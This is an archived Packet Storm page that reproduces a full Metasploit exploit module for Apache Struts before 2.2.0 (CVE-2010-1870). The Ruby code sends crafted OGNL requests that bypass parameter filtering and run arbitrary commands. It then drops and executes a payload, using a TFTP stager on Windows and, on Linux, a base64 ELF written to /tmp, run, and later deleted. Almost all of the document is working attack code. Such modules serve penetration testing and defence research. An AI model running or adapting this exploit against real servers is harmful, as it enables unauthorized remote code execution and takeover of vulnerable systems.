Lucene search

K
packetstormMeder KydyralievPACKETSTORM:104227
HistoryAug 19, 2011 - 12:00 a.m.

Apache Struts < 2.2.0 Remote Command Execution

2011-08-1900:00:00
Meder Kydyraliev
packetstormsecurity.com
42

0.054 Low

EPSS

Percentile

92.3%

`##  
# $Id: struts_code_exec.rb 13586 2011-08-19 05:59:32Z bannedit $  
##  
  
##  
# This file is part of the Metasploit Framework and may be subject to  
# redistribution and commercial restrictions. Please see the Metasploit  
# Framework web site for more information on licensing and terms of use.  
# http://metasploit.com/framework/  
##  
  
require 'msf/core'  
  
class Metasploit3 < Msf::Exploit::Remote  
Rank = ExcellentRanking  
  
include Msf::Exploit::CmdStagerTFTP  
include Msf::Exploit::Remote::HttpClient  
  
def initialize(info = {})  
super(update_info(info,  
'Name' => 'Apache Struts < 2.2.0 Remote Command Execution',  
'Description' => %q{  
This module exploits a remote command execution vulnerability in   
Apache Struts versions < 2.2.0. This issue is caused by a failure to properly  
handle unicode characters in OGNL extensive expressions passed to the web server.  
  
By sending a specially crafted request to the Struts application it is possible to  
bypass the "#" restriction on ParameterInterceptors by using OGNL context variables.   
Bypassing this restriction allows for the execution of arbitrary Java code.  
},  
'Author' =>  
[  
'bannedit', # metasploit module  
'Meder Kydyraliev', # original public exploit  
],  
'License' => MSF_LICENSE,  
'Version' => '$Revision: 13586 $',  
'References' =>  
[  
[ 'CVE', '2010-1870'],  
[ 'OSVDB', '66280'],  
[ 'URL', 'http://www.exploit-db.com/exploits/14360/' ],  
],  
'Platform' => [ 'win', 'linux'],  
'Privileged' => true,  
'Targets' =>  
[  
['Windows Universal',  
{  
'Arch' => ARCH_X86,  
'Platform' => 'win'  
}  
],  
['Linux Universal',  
{  
'Arch' => ARCH_X86,  
'Platform' => 'linux'  
}  
],  
],  
'DisclosureDate' => 'Jul 13 2010',  
'DefaultTarget' => 0))  
  
register_options(  
[  
Opt::RPORT(8080),  
OptString.new('URI', [ true, 'The path to a struts application action ie. /struts2-blank-2.0.9/example/HelloWorld.action', ""]),  
OptString.new('CMD', [ false, 'Execute this command instead of using command stager', "" ])  
], self.class)  
end  
  
def execute_command(cmd, opts = {})  
uri = Rex::Text::uri_encode(datastore['URI'])  
var_a = rand_text_alpha_lower(4)  
var_b = rand_text_alpha_lower(2)  
var_c = rand_text_alpha_lower(4)  
var_d = rand_text_alpha_lower(4)  
var_e = rand_text_alpha_lower(4)  
  
uri << "?(%27\\u0023_memberAccess[\\%27allowStaticMethodAccess\\%27]%27)(#{var_a})=true&"  
uri << "(aaaa)((%27\\u0023context[\\%27xwork.MethodAccessor.denyMethodExecution\\%27]\\u003d\\u0023#{var_c}%27)(\\u0023#{var_c}\\u003dnew%20java.lang.Boolean(\"false\")))&"  
uri << "(#{var_b})((%27\\u0023#{var_d}.exec(\"CMD\")%27)(\\u0023#{var_d}\\[email protected]@getRuntime()))=1" if target['Platform'] == 'win'  
uri << "(asdf)(('\\u0023rt.exec(\"CMD\".split(\"@\"))')(\\u0023rt\\[email protected]@getRuntime()))=1" if target['Platform'] == 'linux'  
uri.gsub!(/CMD/, Rex::Text::uri_encode(cmd))  
  
vprint_status("Attemping to execute: #{cmd}")  
  
resp = send_request_raw({  
'uri' => uri,  
'version' => '1.1',  
'method' => 'GET',  
}, 5)  
end  
  
def windows_stager  
exe_fname = rand_text_alphanumeric(4+rand(4)) + ".exe"  
  
print_status("Sending request to #{datastore['RHOST']}:#{datastore['RPORT']}")  
execute_cmdstager({ :temp => '.'})  
@payload_exe = payload_exe  
  
print_status("Attempting to execute the payload...")  
execute_command(@payload_exe)  
end  
  
def linux_stager  
cmds = "/bin/sh@-c@echo LINE | tee FILE"  
exe = Msf::Util::EXE.to_linux_x86_elf(framework, payload.raw)  
base64 = Rex::Text.encode_base64(exe)  
base64.gsub!(/\=/, "\\u003d")  
file = rand_text_alphanumeric(4+rand(4))  
  
execute_command("/bin/sh@-c@touch /tmp/#{file}.b64")  
cmds.gsub!(/FILE/, "/tmp/" + file + ".b64")  
base64.each_line do |line|  
line.chomp!  
cmd = cmds  
cmd.gsub!(/LINE/, line)  
execute_command(cmds)  
end  
  
execute_command("/bin/sh@-c@base64 -d /tmp/#{file}.b64|tee /tmp/#{file}")  
execute_command("/bin/sh@-c@chmod +x /tmp/#{file}")  
execute_command("/bin/sh@-c@rm /tmp/#{file}.b64")  
  
execute_command("/bin/sh@-c@/tmp/#{file}")  
@payload_exe = "/tmp/" + file  
end  
  
def on_new_session(client)  
if target['Platform'] == 'linux'  
print_status("deleting #{@payload_exe} payload file")  
execute_command("/bin/sh@-c@rm #{@payload_exe}")  
else  
print_status("Windows does not allow running executables to be deleted")  
print_status("delete the #{@payload_exe} file manually after migrating")  
end  
end  
  
def exploit  
if not datastore['CMD'].empty?  
print_status("Executing user supplied command")  
execute_command(datastore['CMD'])  
return  
end  
  
case target['Platform']  
when 'linux'  
linux_stager  
when 'win'  
windows_stager  
else  
raise RuntimeError, 'Unsupported target platform!'  
end  
  
handler  
end  
end`